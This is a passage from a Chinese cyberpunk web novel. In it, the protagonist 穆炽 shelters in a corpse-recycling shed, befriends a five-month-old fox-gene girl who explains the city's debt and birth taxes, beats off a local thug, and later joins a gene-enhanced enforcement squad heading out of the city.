就这么空荡荡的立在这里,不知是做什么用的。
但对穆炽来说,它的出现堪称救急。
先不说可以避雨,看着板凳表面受到长期磨损的状态,她只要在那里守株待兔,一定能遇到除她以外的活人。
如果到时候遇到的是想抢劫她的,她就更不用跟对方客气。
穆炽在棚屋下稍微拧了拧衣服,让它不再滴水后,在板凳坐下。
歪歪的,怎么坐都不舒服,索性改成躺下。
一只手握紧匕首,藏在视线的死角处。
穆炽闭着眼,假装她已经熟睡。
这种连囚犯都会被当成真人秀演员、死后还要进行二次贩卖的资本至上世界,繁华高楼的背后果然有贫民窟。
穆炽猜测自己再往前走一段距离,大概能找到更多像眼下这样的破棚屋。
但在对那里完全不了解的情况下,一个人贸然进入太过危险。
穆炽决定先尝试抓落单的。
她等了很长时间。
不停歇的雨珠滴滴答答敲在铁皮上,奏出令人感到舒适的白噪音。
涌上来的倦意比棚屋外的雨势更猛烈,险些让穆炽真的睡过去。
直到这时,她才想起自己自从在这个世界醒来,到目前为止还没有睡过觉。
她不确定那个真人秀节目里的时间是否一比一复刻外界,也不确定这个世界的一天是否有24小时。
但无论怎样,长时间且高强度的紧张与警戒,以及那些吸入体内的麻醉剂,都令此刻的穆炽困得要命。
就在这时,远处传来了一点动静。
有人来了。
穆炽顿时警觉,不着痕迹地深呼吸了几次,让自己保持清醒。
“呜呜……呜……呜呜呜……”
随着脚步声的靠近,一同传入她耳朵里的还有断断续续的哭声。
哪怕对方在哭,也能听出她的声线很清脆,偏甜,是位年轻的女性。
抽抽搭搭的哭声从远处一直来到穆炽待着的棚屋里。
真的一直在哭,鼻音很重,都快喘不上气了。
对方甚至没有在意躺着的穆炽占据了大半张板凳,直接坐在她旁边。
可能是以为她睡着了,就没有打扰。
但听这动静,实在是哭得很惨。
甚至是在这么黑的夜晚,一个人跑出来哭。
穆炽犹豫半晌,索性就这么继续闭着眼,假装她真的睡着了,也好让对方能尽情哭一通,宣泄情绪。
就这样,穆炽躺在长板凳的这头,另一人坐在长板凳的那头。
一个在假睡,一个在真哭。
“呜呜呜……”
还在哭。
“呜……呃呜……”
哭得打嗝。
“呜…呜……”
哭成火车鸣笛。
躺在边上的穆炽:“…………”
她实在躺不下去了,默默坐起身。
对方似乎被吓了大跳,下一声哭泣被也被噎在喉咙里,瞪着红通通的肿泡眼朝她看过来。
确实是一个年轻的女性,二十来岁,长相很可爱。
即使哭成这样,也能看出她的眼型非常漂亮,虹膜则是通透的琥珀色。
会令穆炽联想到曾经在野外考察时,见过的一只狐狸。
“原、原来你还活着啊。”
她哭得上气不接下气的,可怜巴巴跟穆炽道歉。
穆炽:“……我看起来很像死了吗。”
对方立刻摇头:“这里……呜呜,这里是尸体回收点,你躺在这,我以为是被谁扔过来的……”
“只是躲个雨……”
穆炽想起天兰提过她是被卖到监狱的,“只有尸体放在这,不会被人拿去卖钱?”
“看品相的,也不是所有尸体都值钱。”
对方一边呜呜呜的掉眼泪,一边还认真跟穆炽解。
“有些死人还背着贷款和欠债,如果谁卖给回收站,贷款和欠债就自动转移到那人身上。所以,呜呜,大家一般也不敢随便卖不认识的尸体,会有清洁工扔到公共回收点。”
很地狱的回答,但穆炽甚至不算感到意外。
毕竟,她现在也很想知道究竟是谁把她卖到监狱——好找那个人算账。
但天兰说她只负责接收移交过来的囚犯,没有更上层的相关资料。
只能想个办法,看看能不能从这座城市的官方记录那边找。
穆炽晃了下神,发现刚才那段话好像触发到了对方的心理创伤,使她又开始抽泣地哭起来,呜呜呜的,越来越大声。
“那个,你别太伤心,事情总会过去的。”
穆炽翻遍记忆没这方面的经验,只能干巴巴安慰她。
但听到穆炽这么说,对方嗷呜一下,哭得更响亮了。
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外面在下雨,里面也在下雨。
“事情确实已经过去了,我妈妈,呜呜,她一周前死了,呜呜呜呜……”
虽然穆炽所说的“过去”,并不是对方理解的那个“过去”。
但这句话令穆炽下意识发出个短促的“啊”,慢慢点头。
“确实得哭一段时间。”
她坐在板凳的这端,背靠着薄薄的金属板,就像在安静陪伴着一位素不相识的朋友。
妹子哭累了,但又啪嗒啪嗒掉了好一会儿眼泪后,才哽咽着问穆炽。
“你呢,你有妈妈吗?”
穆炽:“……”
声音很甜,只是这问法属实有点不太礼貌。
“有,很早就去世了。”
为了安慰对方,穆炽还是开口,“你看,我是个孤儿,现在也活得好好的。”
“那你妈妈一定也很爱你,”妹子眼泪汪汪看着她,“我叫蝴曈,你呢?”
她似乎没有什么戒心,开始跟穆炽聊天。
穆炽思考了下,没用自己的真名,“禾火,禾苗的禾,火焰的火。”
蝴曈点头,也学着穆炽介绍,“蝴蝶的蝴,眼曈的曈,但其实是狐狸基因共生者。你呢?”
难怪蝴曈的眼型和样貌,总让她觉得像狐狸。
原来真的是一只狐狸。
但是,动物基因共生者……?
“我也不知道自己共生了什么。”穆炽反问,“这种跟其他物种基因共生的人,很多?”
“呜?你在说什么呀?大家都是基因共生者,只是有的多,有的少。”
蝴曈吸吸鼻子,朝穆炽困惑的眨了眨眼睛。
但下一刻,她就露出有点恍然、又带着点同情的的表情,表情认真的开始反过来安慰她。
“肯定只是因为你携带的基因信息量太少了,用低等仪器测不出来。别担心,你一定是某种动物的基因共生者。”
穆炽:“…………”
谢谢,不是很需要。
她现在知道为什么在“村落”里见到的那些人,都很难分辨人种特征了。
尤其是被她杀死的那个人,穆炽还记得他嘴里的上下犬齿异常突出——估计是某种食肉的哺乳动物。
按照蝴曈的说法,这世上的所有人都携带着动物基因。
……而她,如果在失去记忆的那段时间里没有对自己做改造,大概是唯一的纯种人类。
这算什么,赛级人类?
穆炽有点哑然。
蝴曈还在绞尽脑汁,想要安慰她。
“你也好幸运,真的,你是我遇到的第三个有妈妈的人。”
……这句话变得很不对劲起来了!
穆炽沉默了会,“你遇见过几个人?”
“嗯,至少有几百,唔,几千个应该也有……”
蝴曈掰着指头数了数,发现自己算不出确切的数字后,立刻摇头放弃。
“不过,大部分人我都不认识。但在我住的地方,我妈妈说除了我以外,就只有蒙冬是她妈妈生的。”
“…………”
好极了,这地方可能还有个类似生育工厂的地方,专门负责培育新生儿。
穆炽揉了揉额角,让自己的大脑保持清醒,顺便从蝴曈这里得到尽可能多的、关于这个世界的信息。
“其余人呢?为什么不生?”
“要交很多钱呢。”
蝴曈的声音萎靡下去,“我妈妈贷款交了一大笔自然出生税,才把我生下来的。但她交不起婴孩税、儿童税还有青少年税了,只能送我去打催熟剂。”
“…………”
这次,终于轮到穆炽睁大眼睛,吃惊看向她。
“所以……你现在多大?不对,活了多久?”
蝴曈想了想,拍了下手,很骄傲的回答。
“已经五个月了!”
8. 九乐城(八)
五个月。
还是一只狐狸宝宝。
穆炽还向她确认了,这个世界对时间的称呼同样是【年月日时分秒】,在长度的定义上没差别。
真的只有五个月大。
而从外貌看,蝴曈大约在20岁上下,看起来很有活力,讲话也是条理清楚。
可能对陌生人有点没戒心。
但放在穆炽记忆里的那个世界,她现在才是个眼神清澈的大学生,没戒心很正常。
但是,蝴曈说她刚生下来就被催熟,再统一送去接受七天的常识教育后,就算她成功毕业,可以开始工作了。
穆炽开始对这个世界感到某种莫大的荒谬感。
“上七天学就毕业,会教你们识字吗?”她问。
“只认识几个常见的。”蝴曈眨眼睛,“剩下的,我们也用不上。”
用不上的东西,教会了也只是浪费成本。
穆炽听出了言外之意。
她一时之间不知道该说什么。
蝴曈还要好奇问穆炽,“你呢,你活了多久啦?”
在这个世界里,光看脸并不能准确判断出对方的真实年龄。
“……”穆炽没有直接回答,“你们一般能活多久?”
蝴曈摇头,“不知道哦,每个人的情况不一样,有活了几个月就死掉的,也有活了3、40年后,被无害化回收处理掉的。”
穆炽扯了下嘴角。
了不起,这世界甚至不给人退休的机会。
她甚至能猜到那些统治阶层在想什么。
怀孕、生产、哺乳、发育,成年——这过程多慢啊,多耽误时间!
自然生育与成长?那是有钱人才有资格享受的待遇。
生育工厂直接批量培育,批量生产,批量催熟。
小孩落地就能变成大人干活,干到没价值了直接回收。
看看,这才是真正的降本增效。
“不过,有些动物基因好像能让人活很久。”
蝴曈还在努力思考穆炽的上一个问题。
“但听说,每个人能共生的基因在出生前就已经定好了……我是妈妈生的,遗传型基因共生者……不太懂这些……呜呜呜,妈妈……”
说着说着,想起妈妈已经离开她的蝴曈声音越来越哽咽,眼泪又开啪嗒啪嗒始往下掉。
穆炽:“。”
蝴曈只用了一晚上,就哭掉了她二十年的眼泪储量。
但人家还是五个月大的狐狸宝宝,就算是哭包,也情有可原。
何况,蝴曈的妈妈肯定很爱她,蝴曈才会这么依恋她,在失去后又如此悲伤。
穆炽将匕首又往蝴曈看不见的视线死角藏了藏,伸出另一只手去拍这个哭包小狐狸。
动作有点生涩。
“好了,别哭。”
不说还好,穆炽这么一说,蝴曈朝她怀里一扑,又呜呜呜的嚎了好久。
穆炽望着棚屋外的雨点,默默等她哭完。
又过去好长时间,蝴曈才可怜巴巴从她怀里抬起头。
“谢谢你,都没有赶我走。”
穆炽:“嗯?”
“我本来是在家里哭的啦,”蝴曈绞着手指,眼泪汪汪,“但邻居刚工作完30个小时回来,嫌我吵到他睡觉,就把我赶出来了。”
“我蹲在另一条路哭,又被住在那里的人赶走……”
“但更靠外的是安老大的地盘,妈妈平时就交代我绕着走了,我…实在不敢蹲在他家的门口哭……”
“就只好一边哭一边走,然后来了这里。”
穆炽皱了皱眉毛,捕捉到关键信息。
“所以,这里有很多人住在以街道为划分的区域里,还有类似【老大】的人在管理?”
“嗯,我妈妈说是因为安老大实在太丑啦,上城区的人看一眼就不要他;然后呢,平时行动又慢,外城区的那些人也不高兴选他。”蝴曈说,“所以,就只能靠威胁我们过日子了。”
听这语气,蝴曈还有点可怜那个安老大。
穆炽抬眼瞥过去,看着蝴曈脸上完全没有恐惧或害怕之类的情绪,只是咬着自己手指,有点出神。
是没有被安老大威胁过,还是以前有妈妈守护她?
棚屋外的雨一直没有停。
天色也没有丝毫转亮的意思。
蝴曈坐在板凳上,晃了晃腿。
“我要回去啦,再不睡觉就来不及工作了。”
“嗯。”穆炽应了声。
但蝴曈说完这句话也没有走,甚至没有起身的意思。
她只是又继续盯着穆炽,哭久了的眼睛红红的。
“以前都有妈妈跟我一起睡觉的。”
蝴曈又强调,但声音又低又软,气势也不足——配上鼻音浓重的哭腔,还有点可怜。
穆炽听出来她的言外之意了,“…………”
她对照顾小孩没什么兴趣啊。
以及,这只哭包小狐狸真的完全没有戒心这种东西吗?
怎么会直接邀请第一次见面的陌生人跟她回家?
“我很乖的,这五个月以来没有违反过一次城市管理法令呢!”
蝴曈生怕穆炽拒绝,立刻又急急忙忙补充。
“而且,你没地方去吧?一般人是不会坐在公共回收点的,如果被城市管理员发现有活人敢待在回收点,你就要背上好大一笔负债啦。”
只有无处可去的人,才会冒险躲到这里来避雨。
“不觉得我等雨停就会走?”
穆炽说出这句话时,莫名感觉自己像个越狱的、正找不到藏身处的法外狂徒。
“雨不会停的。”
蝴曈认真回道。
“自从我出生以来,没有见过雨停。妈妈说,九乐城的雨永远也不会停。”
永远也不会停的人造雨景。
这座城市的路边不会有无家可归者,他们承受不住长时间的雨水淋泡,身体会迅速失温,死亡,回收,压榨出最后一分价值。
从生到死,甚至没有见过太阳。
而这一切,只是九乐城的城主认为,【适当的雨能使这座城市看起来更绚丽】。
生活在高楼上层里的人不需要在乎雨落去哪里,他们站在窗前,欣赏到的永远是漂亮的霓虹雨夜。
穆炽没有立刻回应蝴曈的请求。
她在思考自己接下来要怎么做,才能达成预计的目标。
接近这座九乐城的城主,拷问出一些情报后再杀死他——这点是毋庸置疑的。
为此,她必定要前往高楼的上层。
但话又说回来,她对这座城市近乎一无所知。
人口要素、区域构成、武装力量、经济文化……之类种种,可能还不如眼下五个月大的蝴曈知道得多。
以这种状态冲到高楼的上层去,无异于自寻死路。
她不会打没有准备的仗。
穆炽思索了会,问蝴曈:“需要房租吗,多少?”
这是已经同意,但不打算白占便宜的明示。
蝴曈只是没什么戒心,但人不傻,顿时笑得两眼弯弯,开心极了。
“两万四通用币一个月,不过我工作很努力哦,不止可以付得起房租,还完每个月的贷款后还可以买得起甜味的凝缩营养液呢!”
她带着穆炽往回走,举手投足还算克制;但说话的语气上扬,都快变得蹦蹦跳跳的。
穆炽手里的匕首又藏回了衣袖里。
“有甜味的营养液?”她问。
“你真是完全不懂呀,是不是刚生下来没多久?”
蝴曈一点也不嫌弃穆炽什么生活常识都不知道,还体贴的为她找好了理由——虽然穆炽听得哑然,倒也不反驳她。
“听好了哦。”蝴曈竖起手指,认真向穆炽传授这座城市的生存之道。
“食物救济处一般在那个方向,我下次带你去。如果你没有钱买吃的,可以去那里免费领取一人份的凝缩营养液,很难喝,但可以让你活下来。”
“如果想要各种好味道的凝缩营养液,就得花钱去售卖窗口排队购买。因为这些都是限量的,你还需要早点过去抢呢。”
穆炽:“正常的食物呢?”
底层都只能靠营养液补充生存所需的营养物质了,资本竟然还搞饥饿营销这套。
蝴曈的表情顿时又变得可怜巴巴的,“买不起,太贵了。”——她咽了咽口水,“听说监狱的伙食特别好,有些人会特意犯罪被执法者抓进去,就为了尝尝米饭的味道。”
穆炽想起她在“村落”待的那天:早餐,干面包和清汤;午餐,稀得不行的红薯粥;晚餐,一碗飘着几片菜叶的米汤。
比起每天只能喝营养液来说,竟然确实能算是不错的伙食。
毕竟,真人秀还需要作秀,生活不需要。
蝴曈与穆炽没有走很长时间,就来到了一片房屋挤挤挨挨的街道上。
与灯光辉煌而通明的那些高楼不同,这里的房子像用块状
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的积木搭起来的。
只是每个积木的形状与材料都不一致,有的墙体还严重变形,有的外面生满锈迹,一直在滴滴答答往下漏水。
几根金属棍拼在一起的框架就是楼梯,被几块石头垫着,摇摇欲坠的挂在积木外侧。
站在雨里的穆炽打量了会,觉得就算是这个世界的货币单位再如何通胀,这随时都会垮塌的破房子也不该收两万四的租金。
“你愿意和我住真的太好啦。”
蝴曈一直显得很高兴,走在楼梯上的脚步轻盈又雀跃。
“安老大听说我妈妈死后,还总想来我这里住呢——我拒绝他好几次了,妈妈以前一直叮嘱我离他远点。”
穆炽正跟在她身后,小心翼翼地上楼。
生怕一个用力就塌了。
她还没来得及接话,蝴曈就先“咦”出了声,“安老大,你怎么在这?”
她们已经离开楼梯,来到了铁皮从积木顶部横生出去的地方,勉强可以成为屋檐下。
蝴曈看见自家门前竟然站着刚刚才和穆炽聊起的安老大,而后者立刻挤出一个笑脸。
只是,他穿着一件打满补丁的大码上衣,不知道沾染到什么脏东西,显得灰扑扑、油腻腻的。
又不知混了什么基因,使他咧嘴一笑,就露出了参差不齐、满嘴泥黄的尖牙。
凹凸不平的额头上还鼓着个包。
穆炽只看了一眼,就得出定论。
确实很丑。
“听巴说瞳瞳在哭,想来安慰你。”
他不停搓着手,让自己的语气听起来和善又亲近。
“我知道瞳瞳想妈妈了,以前也总是躲在妈妈后面,还喜欢哭——但妈妈已经死去一周了,对不对?你也不好以后一个人过日子,被其他人欺负吧?再说,这房子一个人住也浪费……”
“我说过好几次了,你不要靠过来。”
安老大刚抬脚朝蝴曈走一步,就被后者抬手制止。
蝴曈不高兴的说,“而且,我已经找到室友了,你别再问我了。”
已经被拒绝好多次的安老大心底不爽,拿斜眼去瞥跟在蝴曈身后的那个女人。
身材高挑,脸长得不错,穿的衣服也可以,就是太瘦了点。
就是没什么表情,朝他看过来的目光也冷冰冰的,总感觉渗人得慌。
不过,瘦点好啊,这种又瘦、长相还不错的女人,通常都不会混战斗类的生物基因,纯属让上层人观赏用的漂亮玩意。
安老大心念电转间便衡量完双方实力,立刻放心地发泄起自己屡次被拒的怒意。
不再客气的他当即变脸,说话声音都跟着粗哑。
“****,我好声好气跟你说过几次,你***不答应就算了,竟敢不经过我点头就带人来这住!”
在屡次没能得手的极其败坏中,安老大的那张丑脸更加狰狞而丑陋,一伸手就要来抓蝴曈的手腕!
“我非要在这里教训你一下,你才知道什么叫服从……”
穆炽忽然开口:“报警会有执法者来管吗。”
蝴曈下意识回答:“不……”
——砰!
安老大还没反应过来发生了什么,一只更加有力的手已然后发先至,扣住他的脑袋,并在穆炽的下一个旋身蓄力中,狠狠砸向墙壁!
“你……”
这次,他的破口大骂甚至没能起个开头,穆炽面无表情,只用右手扣着那颗脑袋,抬起,再次沉而重地砸向墙壁。
大片的血溅在墙面,整片房子似乎都跟着抖动。
安老大挣扎着,头晕目眩,还想要开口放狠话,穆炽连眉头都没有动一下,只是第三次抬起手里那颗脑袋,砸向墙壁。
蝴曈捂住嘴,整个人没有动,只有眼睛睁得大大的,紧张兮兮地四处张望,似乎在担心有哪个邻居跑出来围观。
她多虑了,在这种真正见血的场面,之前还嫌她哭声吵的邻居此刻安静如鸡,一声也不敢吭。
穆炽又砸了两下,才松开已经血流满脸、鼻梁歪斜的安老大。
地上多了好几颗牙,混着腥臭的血。
至于安老大本人,已经昏沉沉趴在地上,张着嘴,却一个字也不敢再说。
穆炽在他身边半蹲下,脸上的表情始终没有任何波澜。
她也没有低头去看安老大,仅让眼眸朝斜下方偏了些,用一种极轻视对方的神态,平淡开口。
“现在,你知道该用什么姿势跟我说话了吗。”
9. 九乐城(九)
安老大满嘴是血,口齿不清,吭哧吭哧了会,才说出话。
他始终趴在地面,既不敢起身,也不敢抬头看穆炽。
“饶、饶了我吧,我再也不对曈瞳……”
砰!
这次,他的脑袋没有砸在那面已经出现些许凹坑的墙壁上。
而是整个金属板铺成的走廊都跟着颤动。
“你在喊谁?”
穆炽先动手,后开口。
声音冷淡,直接将安老大吓得浑身一哆嗦。
“蝴曈,蝴曈,我再也不敢靠近蝴曈了。”
他口齿不清地求饶,就差再给穆炽嗑几个。
也不知道是混了什么基因,挺皮糙肉厚的,被穆炽压着脑袋暴扣这么多次,竟然还没有昏死过去。
盯着这个安老大,穆炽敛目琢磨了会,在认真思考灭口的可能性。
她都这样殴打对方了,被记恨上的可能性很大。
别看现在一副唯唯诺诺的模样,保不齐这家伙的心底正在咒骂“等老子活下来后找人弄死你”。
先一步弄死他呢?还是不弄死呢?
这是个问题。
穆炽的记忆以及相关法制教育告诉她,除去合理的正当防卫外,杀人始终是一项违法犯罪的行为。
她刚才也听蝴曈说了,这座城市有管理法令,还有执法者。
在穆炽心底,基本等同于记忆里的警察。
杀人了,警察会不会来管?会。
她还不打算刚出监狱,又被抓进去。
穆炽正盯着安老大沉思,就像在盯着一块猪肉,思考从哪里下刀比较利落。
安老大瑟瑟发抖,一动也不敢动。
邻居也没有敢出来看热闹的。
在淅沥昏暗的雨夜,这个歪歪扭扭的、基本毫无隔音可言的金属积木,好像被孩童随手遗弃的玩具,丢在垃圾堆里缓慢的生锈、腐烂。
蝴曈先是为没有人出来而松了口气,但很快,她发现穆炽的目光在安老大脖颈处徘徊太久。
似乎已经在考虑怎么下刀才能保证出血量最小,方便清洗。
她惊了下,贴在穆炽耳边悄咪咪开口。
“不可以杀他,他背了好多债的。如果你杀死他,他的债务就要转移到你身上了。”
杀人夺债,亏本买卖谁干。
穆炽沉默:“………没被发现也不行?”
“执法者管这个的,他们不在意人死没死,但债必须有人接手。”
蝴曈很紧张。
但不是紧张安老大会不会死掉,而是紧张穆炽身上会不会多出一笔债务。
在没被霓虹灯光笼罩的城市底层,执法者压根不关心每天有谁被杀,他们只在意这笔债会不会变成死账。
一旦有人死了,身上还背着债,他们就会像游鱼出动,想方设法将债转移给任何人。
凶手、亲属、朋友。
甚至是同事、被害者的邻居,乃至凶杀现场附近的居民。
杀不杀人无关紧要,欠债不还才是重罪。
穆炽揉了揉额角。
这个世界总能在不经意的地方刷新她的认知。
也就意味着,只要你有钱到能覆盖对方的债务,就能买下那人的命,没人会追究。
反过来说,由于底层的人身上几乎都背着债,反而互相不敢随便动手。
谁也不想帮别人还债。
要知道,每个月要还的贷款已经够多了,凭空再增加一笔,足以压垮他们。
思考了会,穆炽问蝴曈:“他有小弟或者什么团体之类的吗?”
蝴曈摇头:“没见过。”
也就是说,这家伙的定位等同于村子里的四十岁光棍流浪汉,战斗力不高,纯欺软怕硬。
她起身,踹了安老大一脚。
“这次算我懒得计较,下次再看见你敢碰蝴曈,右手碰剁右手,左手碰剁左手。明白了?”
安老大整个人抖如筛糠,连连点头。
“滚吧。”
她的公民卡里是有些钱,但还不打算花在这种地方。
安老大忙不迭地用双手撑着地面爬起来,踉踉跄跄离开了。
他的动作确实比较迟缓,走路也有点一瘸一拐,像把握不好重心,需要不停地矫正。
像一条走在岸上的鱼。
“快进来快进来。”
这边的蝴曈用一把生锈的小钥匙拧开门锁,开开心心催穆炽。
她看见穆炽出重手教训安老大也没觉得害怕,依然很热情的招呼她快进房间里。
穆炽收回目光,跟着蝴曈走进房里。
从外面看,每个金属积木的体积都不大,但真正进去后,才发现它究竟有多逼仄。
整个面积不过十来个平方,没有窗户,只有一个圆形的通风管道,约莫巴掌大小,嵌在其中一面金属墙的右上角。
房间里一左一右摆着两张窄床,对面靠墙有一张正方形的小桌子与长条形的柜子
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,同样是粗矿的拼接金属材质
在这个世界,金属比木头廉价。
进门左手边还有个小门通往卫生间,被一层单薄的金属板隔开。
暗褐色的锈斑到处都是,即使蝴曈再如何努力去擦,也挡不住湿淋淋雨天的威力。
这个房间里唯一的光源,就是蝴曈手动打开的一盏小台灯。
房间里没有线路,这盏台灯大概是用类似电池那种类似移动能源供的电。
住在这种地方,唯一的好处是水免费,直接用桶接雨就行。
蝴曈从衣柜里翻出一套衣服,让穆炽去洗澡。
平时她都是用冷水洗的,这次为了欢迎穆炽,她忍痛从一个小抽屉里翻出纽扣大的黑褐方块,在指尖搓了搓后丢进水桶里。
不消几秒,咕噜咕噜的热气就涌了上来。
“这是【乌玉】,很有用的。”蝴曈主动介绍,“这个品质不高,所以我们也能消费得起。灯也是靠它才能亮。”
虽然叫乌玉,但基本跟玉石没什么关系。
穆炽猜测这种叫做【乌玉】的能源,大概就是属于这个世界的【石油】。
记忆里的知识无法套用在这个世界,她需要了解它,彻底的。
用金属板隔出来的卫生间非常小,穆炽连转身的动作都不能太大。
她洗完澡,换上蝴曈给她的衣服。
普通的上衣与长裤,至少不再像个乱入未来世界片场的中世纪村民。
口袋也能放下那张公民卡了,只有匕首依旧得用布条缠起来,绑在小臂上。
卫生间有一面A4纸那么大的镜子,擦干头发的穆炽用手抹去上面的水渍,打量起自己。
镜子里的她头发确实比记忆里长了些,能勉强扎成一个狼尾造型。
五官也是记忆里的模样,由于体型瘦削许多,整体轮廓更加分明,下颚线明显收紧。
当她没有露出笑意时,整个人便显得冷酷而干练,透着十足的锐利气场。
她还活着,活在一个见鬼的赛博朋克世界。
所有人都携带着某种生物基因,她反而成了一个异类。
还被告知自己以前当过最高人类指挥官,在被背叛前带领人类抵抗末日,开创了新的城市文明。
穆炽弯起嘴角,镜子里的女性便也跟着露出一个微笑。
如果要问她,害怕这个畸形又疯狂的陌生世界,就像害怕曾经每一次野外考察那样吗?
——半点也不。
10.九乐城(十)
九乐城,中城区,执法部,生物灾害防治处。
“唉,被分配到吃力不讨好的工作了啊。”
“不想接这个跟扫厕所没什么区别的活……”
“喂,你把我们全骂进去了算什么。”
“不是有白卡在?这次找了足足五个。”
“省省吧,能指望白卡做什么,你会对药瓶里的干燥剂抱有期待吗?”
飞驰在雨夜的中型执勤车内部,不时响起短暂的交谈。
车内四人是同一小组的人员,也是平时执勤的惯例搭档,关系亲近,讲话就随意了许多。
不过,从体型与样貌上来看,这四个人可以说是天差地别。
生物基因共生者之所以只被称呼为共生者,是生物基因在人体内的占比不高——或者换句话来说,显化得不那么有价值。
在这个世界,一切东西都需要评定价值。
当然,如果共生者的基因显化程度不高,但品相不错,那也是一种价值。
但对于共生者而言,这些人的生物基因只显化出了价值不高的一面。
例如鱼类基因共生者只显化出了视力不好,鸟类基因共生者只显化出食物消化速度快,虫类基因共生者只显化出食腐特性……
这些都是无价值的基因显化,连带这个共生者的出货价值评级也会变低。
即使人类掌握了基因编译技术,在更精细的生命演化层面,每个人的显化方向与程度依然是随机的。
有的人运气好,显化出了有价值的生物特性,那就会被打上【合格】的社会标签。
有的人运气差,显化出的生物特性与外表体征都价值过低,便会被定为【不合格】,投入社会秩序的底层当作消耗品。
但总有一些人,运气非常、非常好。
他们会拥有显化程度突破临界值的生物基因,且是朝有利于战斗、侦查或其他特定方向的演化,从而获得全新的战斗能力。
——这类人,通常被称为【破界者】。
也是基因工厂培育出的优质出货品。
而这支防治小队,全部都自称【破界者】。
穆炽之前也听三花介绍过【破界者】,但还是第一次如此直白的见到人类与生物融合程度突破临界值后,究竟能长成什么千奇百怪的模样。
与安老大那样与鮟鱇鱼基因共生,却模样丑陋、行动也迟缓的不合格品完全相反。
眼前这四个执法者下车时,更像是四头猛兽踏出了它们的笼子。
他们统一穿着武装齐全的作战服,平均身高超过一米九,仅有一人略矮。
有两个人看起来虎背熊腰的。
在这里,“虎背”和“熊腰”可能不是形容词,而是名词。
领队的那位明显是与老虎基因共生的男性破界者,手掌有点不正常的虎化向粗大,露出的犬齿与蔓延在额头的斑纹极为醒目。
他的旁边站着一位身材矫健的女性,内眼角有两道墨黑的纹路蜿蜒朝下,直至停在嘴角偏上一些的位置。
从同样长出尖锐利爪的十指来看,大概是猎豹基因的破界者。
还有最高大的那个熊基因男性破界者,同样很好分辨。
只有最边上那个略矮、身材也偏细长的执法者甚至没有穿鞋,他的小腿往下已经演化成某种趾行动物的后腿,纤长有力,上面长满了浅黄色的绒毛。
常见的趾行动物是狗或猫,但他的后腿比例明显要比它们更长些,暂时还不太好分辨是什么。
与此同时,他们都会佩戴露出手指的定制款战术手套。
毕竟在跟有些生物基因融合后,双手本身也是他们的武器之一。
只有从体态轮廓与模样更接近人类的脸,才能令人判断出他们至少在大部分基因上,依旧属于人类。
穆炽大致能分辨出他们所融合的生物基因的大类,但再往下细分会有些难度。
毕竟她对生物的了解只是出于工作需要外加耳濡目染,不是真的生物学者。
不仅穆炽在像观察动物一样观察他们,这四人也在打量从中心招募过来的五个白卡公民。
鱼类基因共生者自不必说,有的眼球凸起,有的皮肤上长了一片一片的鱼鳞,好认到瞥一眼就可以移开目光。
爬行类基因的共生者也很好认,粗短的四肢让他身高都比旁边四个矮一截。
昆虫类的基因共生者也很容易使肢体发生畸形,长出不正常的多余四肢。
这几个是不合格品的重灾区,很容易显化出糟糕的样貌、迟钝的行动、蠢笨的头脑,以及其他被判定为无价值的特征。
有的只占一两个,有的占更多。
拥有老虎基因的队长大致扫过那四个歪瓜裂枣,将目光放在最后一个女人身上。
他看了好一会儿,竟然认不出与对方共生的基因是什么。
黑发黑眼,完全属于人类特征的五官,圆钝无杀伤力的指甲,细腻柔软的皮肤。
怎么看都只有人类的那部分,没有融合生物基因的那部分。
是基因显化程度太低?
虎队长的疑惑只在脑子里过了一遍,就懒得深思了。
搞清楚了也跟他没关系,有什么好在意的,反正只是个白卡,又主动跑来当饵食。
旁边的束含——拥有猎豹基因——的上半身朝虎队长靠过来了些,手掌挡在嘴前,小声跟他开口道。
“她,”用眼神示意穆炽,“应该就是玉铃强调要关照的那位。”
玉铃和束含平时关系不错,有时结束工作后还会约着一起喝酒。
他们这次招募白卡去城外时,也是玉铃拜托她多塞一个名额,写上隐藏的指定应征人员。
反正都是消耗品,束含有点困惑,但还是满足了好友的要求。
甚至还问过对方是不是讨厌这个白卡公民,才会特意要求她加上名字。
对此,玉铃默默无言的翻了个白眼,然后拜托她关照一下那位。
束含不玩《上古新纪元》,就算跟她讲了也听不懂。
总之,务必多多关照一下,千万别把对方当饵食给喂了。
束含更是听得一头雾水。
这到底是讨厌?还是不讨厌?
“怎么关照,给污染种造个慢食碗?”虎队长没好气道,“还是我们四个给她当护卫?”
说出去就离谱。
“说是给个武器什么的,能自保就行,她好像有点事要做。”
束含想了想,低声又补充了句。
“她是从自由城来的。”
——这下,虎队长的眼睛瞪大了。
他有点难以置信的,转过目光,重新去仔细端详那个女人。
体型偏瘦削,工装裤与长靴勾勒下的肌肉倒是挺紧实,上衣外套是宽松款,看不出什么特别,举着伞的五指握紧把手,正对着他的骨节分明,但看起来依然是细皮嫩肉的。
就这?能从自由城出来?
真的假的?
虎队长犹豫片刻,还是决定相信自己的部下。
左右只是分一样武器给她而已,要是人死了,也不是不能回收。
何况,就连他们处理污染种也会伴随一定危险,如果能多一个帮手——哪怕她做不到太多事情——也没什么坏处。
“行吧,看她能不能让我开个眼。”
虎队长先低声回了束含一句,便又提高嗓门,向这五个白卡下达指令。
“去执勤车的后厢里坐着,顺便选你们趁手的武器,每人一样,禁止多拿。等到城外,必须听我的指令行动,否则不等污染种来,我先杀了你们。”
闻言,防治小队的另外二人惊讶了下,倒也没说什么,只是将后厢的门打开,示意这五人上去。
九乐城占地面积非常大,它的下城区还分为好几个大区,如果光靠这些白卡公民走路,怕是等他们汇合,一整天就过去了。
因此,如果距离太远或是内容特殊,负责发布工作的片区中心也会安排专属摆渡车,将这些散工送到集合点,以免耽误太多时间。
而眼下,穆炽就是坐了近两个小时的摆渡车,才来到这个靠近墙边的集合点。
她确实有些兴奋了。
她住在九乐城四个多月,九乐城的雨就下了四个多月。
那些从出生开始就生活在九乐城的人可能已经习惯了,但她在如此压抑、昏暗又湿漉漉的环境里待了这么长时间,真的感觉自己快要长毛。
希望老了不会得风湿……
穆炽在心底暗暗感慨一句。
能出城对她来说确实是一个好消息。
由于她没有可以远程联络的个人终端,玉铃还特意来找过她一次,跟她说等出了城后,只要任务完成,她有一定的自由活动时限。
而这次的任务地点,恰好就在城南。
她跟着队伍上了后车厢。
这个全封闭式的车厢虽然没有窗户,但照明可比没有路灯的下城区亮多了。
左右厢壁各嵌着一长条凳子,先上去的几人已经坐着了。
等最后那个没有穿鞋的青年也跨步迈了进来后,厢门关闭,车辆启动。
穆炽挑了个空位坐下。
没过一会,那个青年又将角落里的一个长方形的箱子拖了过来。
